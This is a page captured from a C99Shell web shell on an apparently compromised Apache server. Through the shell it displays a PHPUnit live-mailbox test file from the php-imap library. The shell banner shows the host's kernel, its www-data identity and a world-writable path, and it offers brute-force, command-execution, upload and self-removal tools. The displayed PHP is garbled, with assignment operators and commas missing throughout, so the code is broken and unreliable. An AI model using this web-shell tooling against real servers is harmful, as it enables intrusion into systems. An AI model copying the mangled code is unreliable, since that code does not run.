!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/tests/live/   drwxrwxrwx
Free 13.06 GB of 57.97 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LegacyTest.php (18.96 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: LegacyTest.php
* Category: Test
* Author: M.Goldenbaum
* Created: 23.06.23 18:25
* Updated: -
*
* Description:
*  -
*/

namespace Tests\live;

use 
Carbon\Carbon;
use 
PHPUnit\Framework\TestCase;
use 
Webklex\PHPIMAP\Client;
use 
Webklex\PHPIMAP\ClientManager;
use 
Webklex\PHPIMAP\Exceptions\AuthFailedException;
use 
Webklex\PHPIMAP\Exceptions\ConnectionFailedException;
use 
Webklex\PHPIMAP\Exceptions\EventNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\FolderFetchingException;
use 
Webklex\PHPIMAP\Exceptions\GetMessagesFailedException;
use 
Webklex\PHPIMAP\Exceptions\ImapBadRequestException;
use 
Webklex\PHPIMAP\Exceptions\ImapServerErrorException;
use 
Webklex\PHPIMAP\Exceptions\InvalidMessageDateException;
use 
Webklex\PHPIMAP\Exceptions\InvalidWhereQueryCriteriaException;
use 
Webklex\PHPIMAP\Exceptions\MaskNotFoundException;
use 
Webklex\PHPIMAP\Exceptions\MessageContentFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MessageFlagException;
use 
Webklex\PHPIMAP\Exceptions\MessageHeaderFetchingException;
use 
Webklex\PHPIMAP\Exceptions\MessageSearchValidationException;
use 
Webklex\PHPIMAP\Exceptions\ResponseException;
use 
Webklex\PHPIMAP\Exceptions\RuntimeException;
use 
Webklex\PHPIMAP\Folder;
use 
Webklex\PHPIMAP\Message;
use 
Webklex\PHPIMAP\Query\WhereQuery;

/**
 * Class LegacyTest
 *
 * @package Tests
 */
class LegacyTest extends TestCase {

    
/**
     * Client
     */
    
protected static Client $client;

    
/**
     * Create a new LegacyTest instance.
     * @param string|null $name
     * @param array $data
     * @param int|string $dataName
     */
    
public function __construct(?string $name null, array $data = [], int|string $dataName '') {
        if (!
getenv("LIVE_MAILBOX") ?? false) {
            
$this->markTestSkipped("This test requires a live mailbox. Please set the LIVE_MAILBOX environment variable to run this test.");
        }

        
parent::__construct($name$data$dataName);
        
$manager = new ClientManager([
            
'options' => [
                
"debug" => $_ENV["LIVE_MAILBOX_DEBUG"] ?? false,
            ],
            
'accounts' => [
                
'legacy' => [
                    
'host'          => getenv("LIVE_MAILBOX_HOST"),
                    
'port'          => getenv("LIVE_MAILBOX_PORT"),
                    
'encryption'    => getenv("LIVE_MAILBOX_ENCRYPTION"),
                    
'validate_cert' => getenv("LIVE_MAILBOX_VALIDATE_CERT"),
                    
'username'      => getenv("LIVE_MAILBOX_USERNAME"),
                    
'password'      => getenv("LIVE_MAILBOX_PASSWORD"),
                    
'protocol'      => 'legacy-imap',
                ],
            ],
        ]);
        
self::$client $manager->account('legacy');
        
self::$client->connect();
        
self::assertInstanceOf(Client::class, self::$client->connect());
    }

    
/**
     * @throws RuntimeException
     * @throws MessageFlagException
     * @throws MessageContentFetchingException
     * @throws ResponseException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ConnectionFailedException
     * @throws InvalidMessageDateException
     * @throws AuthFailedException
     * @throws MessageHeaderFetchingException
     */
    
public function testSizes(): void {

        
$delimiter ClientManager::get("options.delimiter");
        
$child_path implode($delimiter, ['INBOX''test']);
        if (
self::$client->getFolder($child_path) === null) {
            
self::$client->createFolder($child_pathfalse);
        }
        
$folder $this->getFolder($child_path);

        
self::assertInstanceOf(Folder::class, $folder);

        
$message $this->appendMessageTemplate($folder"plain.eml");
        
self::assertInstanceOf(Message::class, $message);

        
self::assertEquals(214$message->size);
        
self::assertEquals(214self::$client->getConnection()->sizes($message->uid)->array()[$message->uid]);
    }

    
/**
     * Try to create a new query instance
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testQuery(): void {
        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
self::assertInstanceOf(WhereQuery::class, $folder->query());
        
self::assertInstanceOf(WhereQuery::class, $folder->search());
        
self::assertInstanceOf(WhereQuery::class, $folder->messages());
    }

    
/**
     * Get a folder
     * @param string $folder_path
     *
     * @return Folder
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     * @throws FolderFetchingException
     */
    
final protected function getFolder(string $folder_path "INDEX"): Folder {
        
$folder self::$client->getFolderByPath($folder_path);
        
self::assertInstanceOf(Folder::class, $folder);

        return 
$folder;
    }


    
/**
     * Append a message to a folder
     * @param Folder $folder
     * @param string $message
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
final protected function appendMessage(Folder $folderstring $message): Message {
        
$status $folder->select();
        if (!isset(
$status['uidnext'])) {
            
$this->fail("No UIDNEXT returned");
        }

        
$response $folder->appendMessage($message);
        
$valid_response false;
        foreach (
$response as $line) {
            if (
str_starts_with($line'OK')) {
                
$valid_response true;
                break;
            }
        }
        if (!
$valid_response) {
            
$this->fail("Failed to append message: ".implode("\n"$response));
        }

        
$message $folder->messages()->getMessageByUid($status['uidnext']);
        
self::assertInstanceOf(Message::class, $message);

        return 
$message;
    }

    
/**
     * Append a message template to a folder
     * @param Folder $folder
     * @param string $template
     *
     * @return Message
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
final protected function appendMessageTemplate(Folder $folderstring $template): Message {
        
$content file_get_contents(implode(DIRECTORY_SEPARATOR, [__DIR__"..""messages"$template]));
        return 
$this->appendMessage($folder$content);
    }

    
/**
     * Delete a folder if it is given
     * @param Folder|null $folder
     *
     * @return bool
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
final protected function deleteFolder(Folder $folder null): bool {
        
$response $folder?->delete(false);
        if (
is_array($response)) {
            
$valid_response false;
            foreach (
$response as $line) {
                if (
str_starts_with($line'OK')) {
                    
$valid_response true;
                    break;
                }
            }
            if (!
$valid_response) {
                
$this->fail("Failed to delete mailbox: ".implode("\n"$response));
            }
            return 
$valid_response;
        }
        return 
false;
    }

    
/**
     * Try to create a new query instance with a where clause
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws EventNotFoundException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidMessageDateException
     * @throws MaskNotFoundException
     * @throws MessageContentFetchingException
     * @throws MessageFlagException
     * @throws MessageHeaderFetchingException
     * @throws ResponseException
     * @throws RuntimeException
     * @throws GetMessagesFailedException
     * @throws InvalidWhereQueryCriteriaException
     * @throws MessageSearchValidationException
     */
    
public function testQueryWhere(): void {
        
$delimiter ClientManager::get("options.delimiter");
        
$folder_path implode($delimiter, ['INBOX''search']);

        
$folder self::$client->getFolder($folder_path);
        if (
$folder !== null) {
            
self::assertTrue($this->deleteFolder($folder));
        }
        
$folder self::$client->createFolder($folder_pathfalse);

        
$messages = [
            
$this->appendMessageTemplate($folder'1366671050@github.com.eml'),
            
$this->appendMessageTemplate($folder'attachment_encoded_filename.eml'),
            
$this->appendMessageTemplate($folder'attachment_long_filename.eml'),
            
$this->appendMessageTemplate($folder'attachment_no_disposition.eml'),
            
$this->appendMessageTemplate($folder'bcc.eml'),
            
$this->appendMessageTemplate($folder'boolean_decoded_content.eml'),
            
$this->appendMessageTemplate($folder'email_address.eml'),
            
$this->appendMessageTemplate($folder'embedded_email.eml'),
            
$this->appendMessageTemplate($folder'embedded_email_without_content_disposition.eml'),
            
$this->appendMessageTemplate($folder'embedded_email_without_content_disposition-embedded.eml'),
            
$this->appendMessageTemplate($folder'example_attachment.eml'),
            
$this->appendMessageTemplate($folder'example_bounce.eml'),
            
$this->appendMessageTemplate($folder'four_nested_emails.eml'),
            
$this->appendMessageTemplate($folder'gbk_charset.eml'),
            
$this->appendMessageTemplate($folder'html_only.eml'),
            
$this->appendMessageTemplate($folder'imap_mime_header_decode_returns_false.eml'),
            
$this->appendMessageTemplate($folder'inline_attachment.eml'),
            
$this->appendMessageTemplate($folder'issue-275.eml'),
            
$this->appendMessageTemplate($folder'issue-275-2.eml'),
            
$this->appendMessageTemplate($folder'issue-348.eml'),
            
$this->appendMessageTemplate($folder'ks_c_5601-1987_headers.eml'),
            
$this->appendMessageTemplate($folder'mail_that_is_attachment.eml'),
            
$this->appendMessageTemplate($folder'missing_date.eml'),
            
$this->appendMessageTemplate($folder'missing_from.eml'),
            
$this->appendMessageTemplate($folder'mixed_filename.eml'),
            
$this->appendMessageTemplate($folder'multipart_without_body.eml'),
            
$this->appendMessageTemplate($folder'multiple_html_parts_and_attachments.eml'),
            
$this->appendMessageTemplate($folder'multiple_nested_attachments.eml'),
            
$this->appendMessageTemplate($folder'nestes_embedded_with_attachment.eml'),
            
$this->appendMessageTemplate($folder'null_content_charset.eml'),
            
$this->appendMessageTemplate($folder'pec.eml'),
            
$this->appendMessageTemplate($folder'plain.eml'),
            
$this->appendMessageTemplate($folder'plain_only.eml'),
            
$this->appendMessageTemplate($folder'plain_text_attachment.eml'),
            
$this->appendMessageTemplate($folder'references.eml'),
            
$this->appendMessageTemplate($folder'simple_multipart.eml'),
            
$this->appendMessageTemplate($folder'structured_with_attachment.eml'),
            
$this->appendMessageTemplate($folder'thread_my_topic.eml'),
            
$this->appendMessageTemplate($folder'thread_re_my_topic.eml'),
            
$this->appendMessageTemplate($folder'thread_unrelated.eml'),
            
$this->appendMessageTemplate($folder'undefined_charset_header.eml'),
            
$this->appendMessageTemplate($folder'undisclosed_recipients_minus.eml'),
            
$this->appendMessageTemplate($folder'undisclosed_recipients_space.eml'),
            
$this->appendMessageTemplate($folder'unknown_encoding.eml'),
            
$this->appendMessageTemplate($folder'without_charset_plain_only.eml'),
            
$this->appendMessageTemplate($folder'without_charset_simple_multipart.eml'),
        ];

        
$folder->getClient()->expunge();

        
$query $folder->query()->all();
        
self::assertEquals(count($messages), $query->count());

        
$query $folder->query()->whereSubject("test");
        
self::assertEquals(11$query->count());

        
$query $folder->query()->whereOn(Carbon::now());
        
self::assertEquals(count($messages), $query->count());

        
self::assertTrue($this->deleteFolder($folder));
    }

    
/**
     * Test query where criteria
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws FolderFetchingException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidWhereQueryCriteriaException
     * @throws MaskNotFoundException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
public function testQueryWhereCriteria(): void {
        
self::$client->reconnect();

        
$folder $this->getFolder('INBOX');
        
self::assertInstanceOf(Folder::class, $folder);

        
$this->assertWhereSearchCriteria($folder'SUBJECT''Test');
        
$this->assertWhereSearchCriteria($folder'BODY''Test');
        
$this->assertWhereSearchCriteria($folder'TEXT''Test');
        
$this->assertWhereSearchCriteria($folder'KEYWORD''Test');
        
$this->assertWhereSearchCriteria($folder'UNKEYWORD''Test');
        
$this->assertWhereSearchCriteria($folder'FLAGGED''Seen');
        
$this->assertWhereSearchCriteria($folder'UNFLAGGED''Seen');
        
$this->assertHeaderSearchCriteria($folder'Message-ID''Seen');
        
$this->assertHeaderSearchCriteria($folder'In-Reply-To''Seen');
        
$this->assertWhereSearchCriteria($folder'BCC''test@example.com');
        
$this->assertWhereSearchCriteria($folder'CC''test@example.com');
        
$this->assertWhereSearchCriteria($folder'FROM''test@example.com');
        
$this->assertWhereSearchCriteria($folder'TO''test@example.com');
        
$this->assertWhereSearchCriteria($folder'UID''1');
        
$this->assertWhereSearchCriteria($folder'UID''1,2');
        
$this->assertWhereSearchCriteria($folder'ALL');
        
$this->assertWhereSearchCriteria($folder'NEW');
        
$this->assertWhereSearchCriteria($folder'OLD');
        
$this->assertWhereSearchCriteria($folder'SEEN');
        
$this->assertWhereSearchCriteria($folder'UNSEEN');
        
$this->assertWhereSearchCriteria($folder'RECENT');
        
$this->assertWhereSearchCriteria($folder'ANSWERED');
        
$this->assertWhereSearchCriteria($folder'UNANSWERED');
        
$this->assertWhereSearchCriteria($folder'DELETED');
        
$this->assertWhereSearchCriteria($folder'UNDELETED');
        
$this->assertHeaderSearchCriteria($folder'Content-Language','en_US');
        
$this->assertWhereSearchCriteria($folder'CUSTOM X-Spam-Flag NO');
        
$this->assertWhereSearchCriteria($folder'CUSTOM X-Spam-Flag YES');
        
$this->assertWhereSearchCriteria($folder'NOT');
        
$this->assertWhereSearchCriteria($folder'OR');
        
$this->assertWhereSearchCriteria($folder'AND');
        
$this->assertWhereSearchCriteria($folder'BEFORE''01-Jan-2020'true);
        
$this->assertWhereSearchCriteria($folder'BEFORE'Carbon::now()->subDays(1), true);
        
$this->assertWhereSearchCriteria($folder'ON''01-Jan-2020'true);
        
$this->assertWhereSearchCriteria($folder'ON'Carbon::now()->subDays(1), true);
        
$this->assertWhereSearchCriteria($folder'SINCE''01-Jan-2020'true);
        
$this->assertWhereSearchCriteria($folder'SINCE'Carbon::now()->subDays(1), true);
    }

    
/**
     * Assert where search criteria
     * @param Folder $folder
     * @param string $criteria
     * @param string|Carbon|null $value
     * @param bool $date
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidWhereQueryCriteriaException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
protected function assertWhereSearchCriteria(Folder $folderstring $criteriaCarbon|string $value nullbool $date false): void {
        
$query $folder->query()->where($criteria$value);
        
self::assertInstanceOf(WhereQuery::class, $query);

        
$item $query->getQuery()->first();
        
$criteria str_replace("CUSTOM """$criteria);
        
$expected $value === null ? [$criteria] : [$criteria$value];
        if (
$date === true && $value instanceof Carbon) {
            
$date_format ClientManager::get('date_format''d M y');
            
$expected[1] = $value->format($date_format);
        }

        
self::assertIsArray($item);
        
self::assertIsString($item[0]);
        if(
$value !== null) {
            
self::assertCount(2$item);
            
self::assertIsString($item[1]);
        }else{
            
self::assertCount(1$item);
        }
        
self::assertSame($expected$item);
    }

    
/**
     * Assert header search criteria
     * @param Folder $folder
     * @param string $criteria
     * @param mixed|null $value
     *
     * @return void
     * @throws AuthFailedException
     * @throws ConnectionFailedException
     * @throws ImapBadRequestException
     * @throws ImapServerErrorException
     * @throws InvalidWhereQueryCriteriaException
     * @throws ResponseException
     * @throws RuntimeException
     */
    
protected function assertHeaderSearchCriteria(Folder $folderstring $criteriamixed $value null): void {
        
$query $folder->query()->whereHeader($criteria$value);
        
self::assertInstanceOf(WhereQuery::class, $query);

        
$item $query->getQuery()->first();

        
self::assertIsArray($item);
        
self::assertIsString($item[0]);
        
self::assertCount(1$item);
        
self::assertSame(['HEADER '.$criteria.' '.$value], $item);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.012 ]--